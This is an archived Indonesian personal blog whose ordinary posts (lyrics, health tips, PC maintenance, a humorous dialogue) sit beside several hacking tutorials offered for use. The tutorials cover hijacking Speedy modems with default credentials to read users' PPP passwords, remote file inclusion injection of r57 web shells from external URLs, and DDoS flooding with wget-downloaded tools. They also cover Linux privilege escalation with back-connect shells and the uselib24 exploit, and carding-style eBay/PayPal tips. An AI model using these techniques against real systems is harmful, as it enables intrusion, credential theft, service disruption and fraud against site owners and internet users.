Nothing Secure In This World

Kangen Ngblog Lagi

2009-12-27T13:58:00.001+07:00

Duh.. dah sekian lama kangen jg pengen ngeblog lagi... tapi sekarang mau posting apa yak? jadi bingung juga :) belum dapat ide.. ntar deh cari inspirasi dulu...

Hack account Speedy

2008-07-13T22:05:00.009+07:00

ini cuma buat pembelajaran aja ...

pertama lo cari ip target speedy... nyari nya gampang.. lu buka aja mirc lo nah lo liad ip satu persatu nick di mirc dan whois nick mereka...

setelah dapat coba lo ping dulu ip target nya... jika ip nya time out berarti ngga bisa dan kalu ip nya bisa di ping maka ip speedy nya bisa di hack...

nah langsung aja gw kasih contoh :

masukin ip target lo ke browser lo ex : 125.160.79.147
nah pas dah lo masukin bakalan keluar gambar seperti ini masukan user name : admin dan password : password
setelah itu lo bakalan masuk ke modem nya yg punya ip tersebut setelah masuk home modem klik wan
dan akan keluar layar seperti ini dan klik di ppp
dan setelah itu akan keluar gambar seperti ini klik di gambar pensil
akan keluar layar seperti ini klik kanan view source setelah itu ctrl +U dan cari username dan password

SELAMAT MENCOBA

Free Sms

2008-07-12T23:47:00.002+07:00

Iseng Iseng Browsing di warnet ga ada kerjaan... mau sms teman pulsa ga ada...

eh nemu web yang bisa sms gratiz dow senangya :D

coba de http://freesms.net

selamat mencoba :)

2008-07-04T22:34:00.002+07:00

Cara Memakasi Proxy Sock

Klik tools > option di Mozilla
klik advance
klik advance > setting
klik network
masukan ip dan port nya dan ok

selamat mencoba

Install Cinta-kasih

2008-07-03T23:21:00.001+07:00

Customer Service (CS): Ya, ada yang bisa saya bantu?

Pelanggan (P) : Baik, setelah saya pertimbangkan, saya ingin menginstal cinta kasih. Bisakah anda memandu saya menyelesaikan prosesnya ?

CS : Ya, saya dapat membantu anda. Anda siap melakukannya?

P : Baik, saya tidak mengerti secara teknis, tetapi saya siap untuk menginstalnya sekarang. Apa yang harus saya lakukan dahulu?

CS : Langkah pertama adalah membuka HATI anda. Tahukah anda di mana HATI anda?

P : Ya, tapi ada banyak program yang sedang aktif. Apakah saya tetap bisa menginstal-nya sementara program-program tersebut aktif?

CS : Program apa saja yang sedang aktif?

P : Sebentar, saya lihat dulu, Program yang sedang aktif adalah SAKIT_HATI.EXE, MINDER.EXE, DENDAM.EXE dan BENCI.COM.

CS : Tidak apa-apa. CINTA-KASIH akan menghapus SAKITHATI.EXE dari sistem op-erasi Anda. Program tersebut akan tetap ada dalam memori anda, tetapi tidak lama karena akan tertimpa program lain. CINTA-KASIH akan menimpa MINDER.EXE dengan modul yang disebut PERCAYADIRI.EXE. Tetapi anda harus mematikan BENCI.COM dan DENDAM.EXE. Program tersebut akan menyebabkan CINTA-KASIH tidak terinstal secara sempurna. Dapatkah anda mematikannya?

P : Saya tidak tahu cara mematikannya. Dapatkah anda memandu saya?

CS : Dengan senang hati. Gunakan Start menu dan aktifkan MEMAAFKAN.EXE. Aktifkan program ini sesering mungkin sampai BENCI.COM dan DENDAM.EXE ter-hapus.

P : OK, sudah. CINTA-KASIH mulai terinstal secara otomatis. Apakah ini wajar?

CS : Ya, anda akan menerima pesan bahwa CINTA-KASIH akan terus diinstal kembali dalam HATI anda. Apakah anda melihat pesan tersebut?

P : Ya. Apakah sudah selesai terinstal?

CS : Ya, tapi ingat bahwa anda hanya punya program dasarnya saja. Anda perlu mulai menghubungkan HATI yang lain agar untuk mengupgradenya.

P : Oops. Saya mendapat pesan error. Apa yang harus saya lakukan?

CS : Apa pesannya?

P : “ERROR 412 - PROGRAM NOT RUN ON INTERNAL COMPONENT". apa artinya?

CS : Jangan kuatir, itu masalah biasa. Artinya, program CINTA-KASIH diset untuk aktif di HATI eksternal tetapi belum bisa aktif dalam HATI internal anda. Ini adalah salah satu kerumitan pemrograman, tetapi dalam istilah non-teknis ini berarti anda harus men-"CINTA-KASIH"-i mesin anda sendiri sebelum men-"CINTA-KASIH"-i orang lain.

P : Lalu apa yang harus saya lakukan?

CS : Dapatkah anda klik pulldown direktori yang disebut "PASRAH"?

P : Ya, sudah.

CS : Bagus. Pilih file-file berikut dan salin kedirektori "MYHEART" MEMAAFKAN-DIRI-SENDIRI.DOC, dan MENYADARI-KEKURANGAN.TXT. sistem akan menimpa file-file konflik dan mulai memperbaiki program-program yang salah. Anda juga perlu mengosongkan Recycle Bin untuk memastikan program-program yang salah tidak muncul kembali.

P : Sudah. Hei! HATI saya terisi file-file baru. SENYUM.MPG aktif di monitor saya dan menandakan bahwa DAMAI.EXE dan KEPUASAN.COM dikopi ke HATI. Apakah ini wajar?

CS : Kadang-kadang. Orang lain mungkin perlu waktu untuk mendownloadnya. Jadi CINTA-KASIH telah terinstal dan aktif. Anda harus bisa menanganinya dari sini. Ada satu lagi hal yang penting.

P : Apa?

CS : CINTA-KASIH adalah freeware. Pastikan untuk memberikannya kepada orang lain yang anda temui. Mereka akan share ke orang lain dan seterusnya sampai anda akan menerimanya kembali.

P : Pasti. Terima kasih atas bantuannya. Semoga anda bisa menerapkannya dalam diri anda dan ke orang disekitar anda.

cari proxy

2008-06-09T03:38:00.002+07:00

Sedikit tutorial buat nyari... umm.. lebih tepatnya *menyortir* working proxy.... lumayan buat koleksi

Pertama kita butuh sopwer *pengumpul* proxynya

Proxy Finder Enterprise

Sopwer kecil ini akan ngumpulin semua proxy dari situs2 free proxy...

http://rapidshare.com/files/110292098/ProxyFinderEnt-v2.5.rar

kita jalanin, find... biarin beberapa saat.... bakalan terkumpul ribuan proxy yang ga ngerti tuh valid pa engga..

kedua, save proxy tersebut, trus buka

Code:

http://www.checker.freeproxy.ru/checker/index.php

Semoga membantu ..

slank - gosip jalanan + mp3

2008-04-10T00:25:00.001+07:00

Pernah kah lo denger mafia judi
Katanya banyak uang suap polisi
Tentara jadi pengawal pribadi

Apa lo tau mafia narkoba
Keluar masuk jadi bandar di penjara
Terhukum mati tapi bisa ditunda

Siapa yang tau mafia selangkangan
Tempatnya lendir-lendir berceceran
Uang jutaan bisa dapat perawan
Kacau balau ... Kacau balau negaraku ini ...

Ada yang tau mafia peradilan
Tangan kanan hukum di kiri pidana
Dikasih uang habis perkara

Apa bener ada mafia pemilu
Entah gaptek apa manipulasi data
Ujungnya beli suara rakyat

Mau tau gak mafia di senayan
Kerjanya tukang buat peraturan
Bikin UUD ujung-ujungnya duit

Pernahkah gak denger teriakan Allahu Akbar
Pake peci tapi kelakuan barbar
Ngerusakin bar orang ditampar-tampar ...

Pernahkah gak denger teriakan Allahu Akbar
Pake peci tapi kelakuan barbar
Ngerusakin bar orang ditampar-tampar ...

tulisan yang merah itu membuat dpr ke bakaran jenggot .. emang kenyataan kek gitu musti gimana :D

negh ada link buat dl lagunya bagi yang lom ada.. disini

bener bener pedas ,,, go slank

utak atik google

2008-04-09T02:59:00.000+07:00

1. Utak atik Kalkulator

Kalkulator dan pengkonversi angka dari Google punya beragam kegunaan menarik. Selain menjumlah angka, Anda juga bisa mengkonversi mata uang, berat badan, kalori dan sebagainya. Silakan coba di sini.

2. Bikin Google Anda Spesial

Bosan dengan tampilan Google yang itu-itu saja? Anda bisa mengubah-ubahnya menurut sistem operasi yang Anda gunakan meski hanya bisa dipakai untuk pencarian yang spesifik. Coba saja di sini. Jika Anda pemakai browser Mozilla Firefox, mampirlah di sini.

3. Main Game untuk Usir Stres

Berbagai game sederhana namun fun bisa Anda mainkan dengan memanfaatkan teknologi pencarian Google. Misalnya, Anda bisa menerka wajah orang atau tokoh terkenal di sini. Selain itu, masih ada pula berbagai game lainnya yang menyenangkan.

4. Celana Dalam dan Logo Google yang Ditolak

Beberapa situs dibuat sebagai parodi Google. Contohnya situs parodi pencari celana dalam undergoos. Jika ingin tahu, Anda juga bisa menelisik daftar logo Google yang ditolak di sini. Google juga sering mendesain logonya saat memperingati perayaan tertentu.

5. Panduan Praktis Google

Menawarkan seabrek kegunaan, seringkali pengakses internet kebingungan dengan fitur-fitur yang ada di Google. Nah, dengan mengunduh 2 halaman PDF di sini, Anda bisa mendapat panduan praktis tentang Google berikut fitur-fiturnya yang berjibun.�

Sekilas tentang e-gold

2008-04-08T03:10:00.003+07:00

Dalam setiap aktifitas e-bisnis, kita pasti membutuhkan suatu alat pembayaran digital dalam bertransaksi. Alat pembayaran digital ini disebut sebagai eCurrency yaitu alat pembayaran yang sah dan diterima secara umum di seluruh dunia, misalnya Credit Card. Namun pemakaian credit card melalui media internet masih banyak memunculkan masalah terutama tingkat keamanannya, apalagi Indonesia sekarang sudah dalam kondisi terblacklist oleh sebagian besar merchant-merchant internasional karena tingginya angka carding atau penyalah gunaannya di Indonesia. Sebagai alternatif untuk melakukan transaksi secara online di Internet kita dapat mempergunakan E-Gold.

Apa dan Bagaimana

E-gold adalah suatu alat pembayaran digital baru, dikeluarkan oleh e-gold Ltd., berkedudukan di Nevis , berlaku global, standar nilainya didasarkan pada 100% harga emas murni yang berlaku di pasar dunia seperti di http://www.kitco.com, dan ditampilkan dalam bentuk rekening tabungan e-gold. E-gold adalah suatu mata uang seperti halnya rupiah dan dollars, bukan merupakan mata uang nasional suatu negara. Ini berarti tidak ada suatu negara yang mengeluarkan uang kertas ataupun logam dalam mata uang e-gold. Malahan setiap transaksi dilakukan secara elektronis melalui internet. Nilai transaksi adalah berdasarkan berat emas murni. Anda dapat merubah e-gold ke dalam bentuk mata uang lain (US Dollars, Pounds , Deutche Mark..... dan sebaliknya). E-gold sudah diakui oleh banyak merchant di seluruh dunia dalam melakukan transaksi on-line, dan sebagai media pembayaran yang sah. Selain itu dana anda di E-gold dapat ditarik melalui ATM khusus di semua mesin ATM berlogo Cirrus, Maestro, dan Mastercard dapat dilihat di http://www.cashcards.net.

Manfaat dari e-gold antara lain

Berbelanja online, misalnya di: goldstores.com
Menyimpan emas secara praktis dan efisien
Melakukan pembayaran dari orang ke orang
e-commerce
Payroll
Membayar tagihan
Menyumbang
Spekulasi/trading, misalnya di www.gcitrading.com dan di www.betonmarkets.com
Anda dapat memanfaatkan rekening e-gold ini untuk menerima pembayaran dan melakukan pembayaran. E-gold memiliki website yang dijamin keamanannya dengan secure server 128 bit SSL. Anda dapat membuka rekening tanpa dikenakan biaya seperti halnya bila anda membuka rekening di bank, setelah itu anda dapat memasukkan dana anda ke rekening e-gold dengan cara membeli e-gold, dan sebaliknya anda dapat mencairkan dana e-gold anda dengan cara menjualnya. Transfer antar e-gold adalah Real Time, lansung sampai ke rekening tujuan.
E-gold mengenakan fee transfer yang dapat anda lihat di http://www.e-gold.com/newfees.html.

Cara Membuka Account

Klik disini untuk melakukan registrasi di website e-gold.
Klik I agree setelah anda membaca user agreement
Akan keluar form isian, anda hanya perlu mengisi yg dicetak tebal saja
Isi Account Name (nantinya ini yang dapat dilihat oleh user e-gold lainnya, memudahkan mereka untuk mem-verifikasi Nomor Account anda waktu melakukan transfer misalnya)
Contoh : Acc eGold Saya
Isi User Name (nantinya ini akan muncul di account history. Account Name dan User Name boleh anda buat sama untuk memudahkan anda mengingat)
Contoh : Acc eGold Saya
Isi Point of Contact (Nama, Alamat, Kota, State, ZIP)
Isi alamat Email ( Harus email yang aktif )
Isi nomor Telepon
Isi Alternate Passphrase (password) (ini berguna jika nantinya anda lupa passphrase / password anda atau untuk otomatisasi scripts )
Isi Passphrase (password) 2 kali (harus gabungan huruf dan angka panjang minimal 16 karakter untuk keamanan)
Isi Turing Number sesuai dengan yang ditampilkan (turing number adalah nomor acak yang selalu berubah untuk menambah keamanan di website e-gold)
Klik Open
Nomor Account anda akan dikirim ke alamat email yang anda masukkan di atas
Buka email Anda dan cari email dari e-gold ( di inbox / bulk / spam folder ) dan catat Nomor Account anda (7 digit).
Cara mengakses account e-gold

klik disini untuk masuk ke website e-gold
Isi Account Number sesuai yang telah dikirim ke email anda
Isi Passphrase (password) anda ( Sebaiknya anda menggunakan "SRK" untuk alasan keamanan )
Isi Turing Number sesuai dengan yang ditampilkan
Klik Login
Anda telah masuk ke e-gold account anda, menu yang disediakan adalah sbb.:
- Balance = untuk melihat saldo dana anda
- Spend = untuk mentransfer dana ke rekening e-gold lain
- Redeem = Mengambil atau menukar e-gold dengan emas batangan
- History = untuk melihat perincian transaksi
- Account Info = untuk merubah profile dan passphrase/password
Pastikan anda selalu Logout setelah selesai mengakses e-gold account anda untuk keamanan !!
Cara mengisi account egold

Saat ini di Indonesia sudah ada beberapa exchanger e-gold dimana anda dapat membeli dan menjual/mencairkan dana dari rekening e-gold ke rekening bank anda. Sebaiknya anda menggunakan service kami, IndoChanger.com. Anda dapat menggunakan Rekening BCA / LIPPO / BNI untuk proses transfer dan pencairan dana dapat dilakukan dengan cepat dan tanpa biaya transfer, umumnya paling lama 1x24jam. Bila anda tidak memiliki rekening tersebut diatas, maka ada tambahan waktu untuk proses transfer/kliring antar bank dan dikenakan biaya transfer sesuai ketentuan bank anda. Harga e-gold selalu berubah sesuai dengan kurs harga emas dalam US$

login ke member area IndoChanger.
Ikuti Petunjuknya.
Dalam waktu kurang lebih 1 - 3 jam, dana e-gold akan ditransfer ke rekening e-gold anda.

Menguangkan e-gold
ke member area IndoChanger.
Ikuti Petunjuknya.
Dalam waktu kurang lebih 1 - 3 jam, uang anda akan ditransfer ke rekening Bank anda.

Tips Ebay dan Paypal

2008-04-05T04:18:00.000+07:00

Tips EBAY:
1) pastikan seller feedbacknya dibawah kita
seandainya FB nya lebih dari kita, liad auction apa ada yg aneh2 semisal alamat shiping hrs sesuai dgn billing address pp
note : jika FB kita kecil dan history transaksinya dah lama buat deh transaski item2 kecil buat naikin fbnya
misal: order e-book pake cc
2) liad history FB seller kapan terakhir transaksi (buat mastiin bukan scamers)
3) tanya dulu ttg shipping (menggunakan jasa pos lengkap dengan jasa trackingnya etc:USPS)
jasa pos yg harus dihindari : fedex, UPS, DHL (pokoknya jasa pos swasta)
4) tanya seberapa lama dia akan kirim, apakah sameday?
liad waktu disana, utk mastin dia lsg kirim (beda 1/2 hari dari indo)
6) mulai bidding/nawar
7) terakhir setelah bayar kita kirim massage buat mastiin klo payment sudah dilakukan.
8) jika dia sudah kirim minta scan/bukti no trackingnya.
9) gunakan bahasa yg simple.. jgn banyak basa basi.

10) jagain email si id ebay ato pemilik cc (harus teliti!!)
usahain memahami trick cara ngeblock email dari ebay/PP - ato ditaro di
11) save keterangan si id ebay minimal 2 item (zip code - no telp) dan itu semuanya bisa dicari di emailnya buat (forgot password!!)

Tips PP
1) proxy - harus fresh!
2) cookies harus sering diapus klo mau login pp baru
2) dan jgn ditest satu2 tp cukup liad di emailnya

download mp3 in MIRC

2008-02-23T20:08:00.008+07:00

Nah bagi lo semua yang pengen download lagu ada cara yang lebih mudah untuk download lagu selain dari web .. dari mirc bisa jg lo..

cara nya mudah ko..

1. lo klik aja icon mirc di desktop komputer lo .. klo lom ada download dulu mircnya :)
2. setelah itu buat nickname lo
3. join di server efnet irc.efnet.net atau ketik /server irc.efnet.net
4. setelah konek ke server tersebut lo join deh k chanel nya #indomp3z ato #mp3additcs atau dengan mengetik /j #indomp3z klo yang yang #indomp3z untuk mp3 indonesia dan #mp3addicts khusus mp3 mancanegara
5. setelah lo masuk ke salah satu chanel lo ketik de di chanel @find band - judul
contoh @find ungu - kekasih gelapku setelah lo ketik di chanel seperti itu ntar ada beberapa nick yang akan pv lo
6. setelah itu lo liad de nick yang pv lo tadi dan copy paste lagu nya ke chanel
contoh: !yO|ok Ungu - Kekasih Gelapku.mp3 dan setelah lo ketik itu d chanel tggu beberapa saat akan ada windows kecil klik ok
truz lo accept
nah setelah itu lo tungguin downloadnya sampe kelar

ok selamat mencoba yaks ...

cara mudah bikin proxy

2008-02-23T20:03:00.002+07:00

tutorial ini mungkin dah banyak yang tau, tapi karna ada yang request, gw coba posting lagi deh di blog gw, kalo mo request tutor yang lain isi aja di shutbox gw, hihihii ntar insya allah di usahain deh.

1. wget http://geocities.com/mancik_banda/alat/proxy.tgz
2. tar -zxvf proxy.tgz
3. cd pro
4. ./xh -s "/usr/sbin/httpd" ./prox -a -d -p[portnya]
contoh : ./xh -s "/usr/sbin/httpd" ./prox -a -d -p8080

Selamat Mencoba ^^

Mengenal Shell inject dengan teknik Remote File Include Vulnerability

2008-01-31T01:43:00.000+07:00

Mengenal shell exploite inject
Mungkin anda masih merasa bingung dengan shell exploite inject pada web tapi pada dasarnya semua shell sama saja cuma yang membedakan cara pemakaian shell atau bentuk dari shell itu sendiri apa berbasis aplikasi atau berbasis website tapi namanya shell jelas command - command masih sama mungkin misalkan pada shell yang aplikasi servernya berbasis linux jelas perintah yang digunakan berbasis linux juga. nah kali ini saya akan membahas tentang shell inject yang jelas saja berbasis website karena pada umumnya orang - orang memakai shell ini dalam dunia IRC biasa disebut dengan kalimat “target” saya juga heran mengapa dinamakan target? mungkin karena sudah kebiasaan padahal namanya shell inject.

Bagai mana cara mendapatkan shell tersebut?..
Mudah saja hanya dengan meman faatkan bugs bugs pada script web tersebut biasanya itu semua kelalaian dari pemakai web yang mempunyai bugs nah dalam pencarian shell inject berbasis web ini ada bermacam cara - cara injected tapi saya akan membahas cara inject dengan Remote File Inclusion Vulnerability itu menggunakan bugs dalam file script pada website yang akan di inject

Bagai mana cara melihat bugs pada suatu script aplikasi pada website?..
Hanya dengan menggunakan rumus logika panggilan data (include,require) ditambah dengan variabel pada script tersebut inlclude + $variabel semua memakai rumus seperti itu contoh script

($docroot.'/FCDIRECTORY/fc_functions/fc_functions.php');

?>

require <--- panggilan data

$docroot <--- variabel

/FCDIRECTORY/fc_functions/fc_functions.php <---

directory dan file dimana ditemukan bugs
(kerusakan atau kelemahan)

jelas pada script di atas kelihatan bugs jika dikaitkan dengan rumus include+variabel maka akan menjadi suatu shell inject tinggal kita mengolah script tersebut.

sekarang kita akan membentuk suatu script yang sebentar akan dikaitkan dengan link pada website degan cara memutar balikan script tersebut dengan mengubah kedudukan include dan variabel serta mengubah variabel yang dikenal tanda “$” menjadi “?”

$docroot.'/FCDIRECTORY/fc_functions/fc_functions.php

jika diputar balikan akan menjadi

/FCDIRECTORY/fc_functions/fc_functions.php?docroot=

Kaitan Bugs dan Link pada Website
Ini merupakan saat yang paling enak dipelajari apa kaitan bugs dengan link pada website atau target website yang akan kita masuk. Jelas kaitanya sangat erat dan wajib untuk diperlakukan. Mengapa?..karena tanpa bugs tersebut kita tidak bisa mendapatkan shell inject kita akan masuk pada website melalui bugs atau kelemahan pada website tersebut dimana letak kelemahan website tersebut?..letaknya ada pada script bugs

require

($docroot.'/FCDIRECTORY/fc_functions/fc_functions.php');

?>

sekarang kita akan menggabungkan link website dengan bugs tapi sebelumnya kita harus mempunyai injection atau code shell php anda bisa dapatkan pada link www.andi-a.biz/tools/shell.txt? atau www.andi-a.biz/tools/r57.txt?
nah sekarang akan kita gabungkan akan menjadi seperti

/FCDIRECTORY/fc_functions/
fc_functions.php?docroot=[shell code]

contoh:

www.site.com/[path]/FCDIRECTORY/fc_functions/
fc_functions.php?docroot=[shell code]

gunakan shell code :

http://www.flyiklan.com/myad/r57.txt?

contoh :

fc_functions.php?docroot=http://www.flyiklan.com/myad/r57.txt?

jika sudah menjadi seperti itu kita tinggal mencari target

Cara Nembak Ip orang

2008-01-31T01:35:00.000+07:00

nembak ip

berikut ini tutorial cara nembak ip orang atau istilah kerenya ddos ada beberapa tools yg sering digunakan untuk menembak ip orang….saya harap tutorial ini jangan pernah anda praktekan kecuali lagi terpaksa hihihi….

syarat pertama ada harus punya shell yang banyak biar manteb tu ddos na jangan tanggung2 100 shell aja hehehe

a. udp.pl

1. wget www.lotto-kim.net/eng/content/download/244/1416/file/udp.txt
2. perl udp.txt (ip) (port) (timer)
contoh :

perl udp.txt 212.111.11.11 80 99999999999999999999

b. Tembak.c

1. wget http://malanghack.net/alat/tembak.c
2. gcc -o tembak tembak.c
3. ./tembak (ip) (port)
contoh :

./tembak 212.111.11.11 80

c. VADIM

wget http://h1.ripway.com/balizombie/tools/vadim.tgz

tar zxvf vadim.TGZ

cd flood

./vadimII [IP.target] [PORT] 10 0

contoh :

./vadimII 212.111.11.11 80

Program ini berfungsi meRemove file-file Virus

2008-01-15T22:59:00.000+07:00

http://geocities.com/apiz_banget/apiz.txt

arghh....!!!

2007-12-13T02:39:00.000+07:00

ahh.. bosan banget ne.. lagi bokek bikin puyeng aja... huaueiiaeie...

Hidup sehat ?................tidak susah koq!!

2007-11-22T03:54:00.000+07:00

Ada beberapa hal yang sering dilewatkan dalam menjalani hidup, sehingga akibat buruk dari kebiasaan ini akan datang mengganggu kesehatan kita. Hal ini bisa terjadi hanya karena kebiasaan hidup yang tidak teratur. Kebiasaan tersebut adalah antara lain melewatkan sarapan, kurang minum air putih, kurang gerak sampai dengan ngemil snack berkalori tinggi.

Menurut Pete Cohen, psikolog dan physical trainer, bahwa tidak ada manusia lahir dengan kebiasaan buruk. Kebiasaan ini dipelajari saat tumbuh dewasa. Cara yang paling jitu untuk membuang kebiasaan buruk adalah dengan menggantinya dengan kebiasaan yang lebih baik. Menurut beberapa penelitian, diperlukan pengulangan 20 - 30 kali untuk kemudian menjadi kebiasaan baru.

Apakah semudah itu ??, sepertinya mudah saja, tapi kalau dijalani mengapa sulit??, karena kita memang hidup dilingkungan yang sudah mengesahkan kebiasaan-kebiasaan buruk itu menjadi hal yang biasa.

Ada beberapa tips dibawah ini, mengenai cara menghargai hidup dengan menjalani hidup secara sehat dan teratur, yaitu:

1. Minum air putih secara cukup
Kenapa terjadi? tubuh manusia tidak akan memberi sinyal berupa rasa haus sampai tubuh benar-benar kekurangan air atau mengalami dehidrasi.
Mengapa air putih? karena dua per tiga tubuh kita terdiri dari air, maka air merupakan unsur terpenting bagi tubuh. Setiap hari kita kehilangan 1,5 liter air lewat kulit, paru-paru dan ginjal (berupa air kencing). Untuk itu kehilangan itu harus digantikan dengan jumlah yang cukup, sehingga tubuh akan terhindar dari kelelahan, sakit kepala, kulit kusam dan bad mood.

2. Sarapan pagi setiap hari
Kenapa terjadi? Alasan yang sering didengar adalah karena tidak cukup waktu untuk sarapan.
Mengapa sarapan? Kalau sarapan terlewatkan maka akan mempengaruhi produktivitas kerja. Untuk itu 'dengarkan' tubuh anda dengan melakukan sarapan sehat secara rutin setiap hari. Sarapan sehat adalah makanan ringan yang cukup gizi seperti segelas susu atau jus buah atau sarapan siap saji yang kaya gizi dan rendah lemak.

3. Makan siang yang bergizi
Kenapa terjadi? Karena biasanya kelebihan karbohidrat sering terjadi saat makan siang, atau kurang mengkonsumsi makanan yang mengandung protein sebagau sumber energi.
Mengapa harus bergizi? Biasanya ngemil makanan tinggi kalori akan jadi pilihan utama apabila rasa lapar menyerang, seperti cokelat, keripik atau biskuit, yang banyak mengandung lemak, gula dan garam.
Untuk itu memilih makan siang yang bergizi adalah cara yang bijaksana untuk mengatasi rasa lapar. Cara yang bijaksana menurut Dr. Wendy Doyle, ahli diet, dengan cara menambah lauknya, makan sepotong buah atau segelas yoghurt.

4. Siasati makan malam
Kenapa terjadi? Biasanya setelah lelah seharian kerja, maka akan malas kalau harus mempersiapkan makan malam.
Mengapa disiasati? Karena biasanya bila tidak mempersiapkan makan malam maka fast food atau take-away food, yang pasti mengandung tinggi lemak dan garam. Cara mengatasinya??, makan sesuatu sebelum pulang kantor dan mengisi kulkas dengan bahan makanan yang lebih tahan lama simpan untuk keadaan darurat. Kalau terpaksa membeli makanan, lebih baik hindari makanan yang digoreng dan pikirkan makanan tersebut mengandung gizi, yang paling tidak, cukup.

Sumber: Majalah Cosmopolitan, Maret 20

Your Not Alone - Saosin

2007-11-20T17:33:00.000+07:00

It's just like him
To wander off in the evergreen park
Slowly searching
For any sign of the ones he used to love
He says he's got nothing left to live for
(He says he's got nothing left)
And this time I think you'll know

You're not alone
There's more to this I know
You can make it out
You will live to tell

She's just like him
Spoiled rotten, confused by the lies shes been fed
She's searching for no one (but herself)
Her eyes turn to green and she seems to be happy that she is here
And this time I think you'll know

You're not alone
There is more to this I know
You can make it out
You will live to tell

You're not alone
There is more to this i know
You can make it out

(There is more to know)

We're not alone
There is more to this i know
You can make it out
You will live to tell

(So tell me)

You're not alone
There is more to this i know
You can make it out
You will live to tell

You're not alone
There is more to this i know
You can make it out
You will live to tell

You're not alone
You're not, you're not alone

UPDATE BLOGGER

2007-11-19T20:08:00.000+07:00

Hehehe dari pada ga ada kerjaan bagusan g Update Blog g hihihi.. g nukar ama background warna hitam.. gemana bagus ga yah?

Duw tapi pusing jga maw di isi apa lagi... hehehe... ntar de cari akal lagi maw buat apa :p

Tips Merawat & Optimasi PC

2007-11-18T02:17:00.000+07:00

Perkembangan Teknologi Informasi (TI) telah merubah cara hidup dan
kegiatan manusia. TI meningkatkan efisiensi dan performa kinerja.
Perkembangan TI dari zaman komputer mainframe sampai dengan Personal
Computer (PC) begitu pesat. PC Biasanya digunakan oleh home user.
Kinerja PC sama dan bahkan lebih baik dari generasi mainframe.
Kompatibilitas device sangat baik. Sedangkan harga, bentuk fisik,
aplikasi PC semakin beragam dan mudah ditemukan. Seperti alat-alat
elektronika dan otomotif, perlu dilakukan services/maintenences. Biaya
untuk itu pun tergolong mudah, murah, dan bahkan gratis.
Tahapan Tips Merawat Merawat & Optimasi PC dapat dilakukan sebagai
berikut:
Kenali sistem komputer anda, sebab informasi tersebut diperlukan disaat
service:
a) lakukan Inventaris komputer,
b) Cek peralatan dan aplikasi yang digunakan, dan
c) Gunakan tools untuk mngumpulkan informasi-informasi tersebut, misalnya Sisoft Sandra, Systems Works,dll.

Buat system boot disk penyelamat disaat emergency, sistem crash, dan
terkena virus.
Hapus file sampah sebab file-file sampah memakan tempat yang dapat
menghambat kinerja PC seperti temp, bak, cookies, Browser History, dll.
Lakukan Defragmentasi Hard Disk. Gunakan tools defragmentasi di Windows
yang berguna untuk mengatur fragmentasi pada hardisk yang terjadi pada
saat install dan unistall. Untuk mempercepat akses data dan kinerja,
lakukan hal ini secara rutin (min 1 x sebulan).
Lakukan Scandisk Hard Disk. Scandisk berguna untuk mencek kerusakan
hardisk disaat sistem setelah crash/hang. Selain itu, lakukan pula
registry checker dengan tools.

Back up data dengan cara:
a) Penyalinan data secara berkala,
b) Backup system dan aplikasi (system restore), dan
c) Gunakan tools khusus (Norton ghost, drive images).

Update Virus:
a) Lakukan update database antivirus,
b) Lakukan scanning secara kontinu,
c) Lakukan scanning file dari tempat lain. Ada banyak antivirus yang tersedia mulai dari yang mahal sampai dengan gratis.

Update Operation System (OS) Windows:
a) Update setiap minggu Windows Update agar PC anda terbebas dari security hole (Celah keamanan).
Periksa Voltase Listrik:
a) Perhatikan tegangan voltase,
b) Gunakan Regulator tegangan,
c) Jika anda memiliki uang lebih, sediakan UPS.

Hindari Debu dengan menutupi PC dengan cover khusus, sebab debu dapat
mengakibatkan kerusakan. Dan jangan melakukan kegiatan lain didepan PC.
Shutdown sesuai procedure:
a) Matikan komputer dengan benar, jika tidak, akan mengakibatkan crash pada hardisk.

Optimalisasi PC Windows Bisa jadi, lambatnya kondisi sistem Windows disebabkan oleh banyaknya aplikasi yang terinstall sehingga kinerja PC semakin berkurang. Untuk mengoptimalkan PC Windows anda, lakukan hal-hal berikut:
Setting Konfigurasi BIOS:
a) Setting urutan boot dengan benar,
b) Disabled ‘Quick Power On Self-Test”,
c) Disabled ‘Boot Virus Detection”.

Start UP:
a) Singkirkan setting yang tidak berguna,
b) Bersihkan aplikasi dari startup,
c) Matikan grafik ‘awan’ (logo) pada Msdos.sys, Msconfig.exe (windows 9x), Boot.ini (Windoxs XP), (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOpt imize = Enable. d)
Matikan suara startup.
Rampingkan Registry dengan cara:
a) Peras Registry Windows: Scanreg /opt, Scanreg /fix, Scanreg /restore.
Atur Swap Memory dengan menggunakan Swap virtual memory dan
mengoptimalkan memory pada saat kekurangan.
Nonaktifkan Services:
a) Mematikan beberapa layanan untuk mempercepat akses sistem,
b) Menutup lubang keamanan: Ex = com+, IPSec, RPC, Even
log, dll.

akukan benchmarking untuk mengukur kemampuan PC anda:
a) Lakukan tes kehandalan performa,
b) TWEAK XP,
c) Gunakan tools benchmarking yang ada, misalnya: Sisoft sandra, Dr. Hardware, PC Analyser, 3DMark 2002, Quake 3 Arena, HDTach, DataAdvisor, dll.

Dengan merawat & mengoptimalkan PC, anda dapat melakukan
tugas-tugas dan mengerjakan semua keinginan melalui PC anda secara
maksimal dan cepat.
-------------------------------------------------------------------------

Cara Hilangin Iklan Di Friendster

2007-11-15T06:58:00.000+07:00

copy dan paste scripts di bawah dan upload ke geocities / hosting mu,

/******awal copy*****/
/* hide google ads */
#googleAdFactory.fullwidth{position:absolute;top:-5500px;}

/* remove featured sponsor */

#mainnav div.links a:link, #mainnav div.links a:visited, #mainnav div.links a:active { color:#000000; text-decoration:none; }
}
#mainnav .left {display:none;}
#mainnav .right {display:none;}
#navdivider {display:none;background:transparent;}
#subnav {display:none;}
#marketing_bg{display:none;background:transparent;}

/* remove search form*/V
#search {display:none;background:transparent;}
#search form {display:none;background:transparent;}
.banner_ad_fix{display:none;}
#banneradrow, #ads_2_3{display:none;}
#content_14 {
display:none;
}
/**********akhir copy**********/

setelah di upload jadi file .css

contoh : http://h1.ripway.com/dodolz/iklan.css
masukin link tsb ke /edit profile frindster mu di favorite music:

ingin lebih jelas

klik disini

Cara Mencari acces ROOT

2007-11-07T05:37:00.000+07:00

pada tutorial ini saya menggunakan kernel 2.4.20

1. lihat kernel injek anda..
uname -a
Linux alpha 2.4.20-4GB #1 Wed Aug 6 18:26:21 UTC 2003 i686 unknown unknown GNU/Linux

2. find / -perm 777 -type d buat cari dir yang bisa di tulis jika tidak ada masuk ke cd /var/tmp
atau cd /tmp

3. masuk pake bind ato back connect di injekan

4. setahu saya klo kernel 2.4.20 memakai exploit uselib24 mungkin juga bisa dengan yang lain
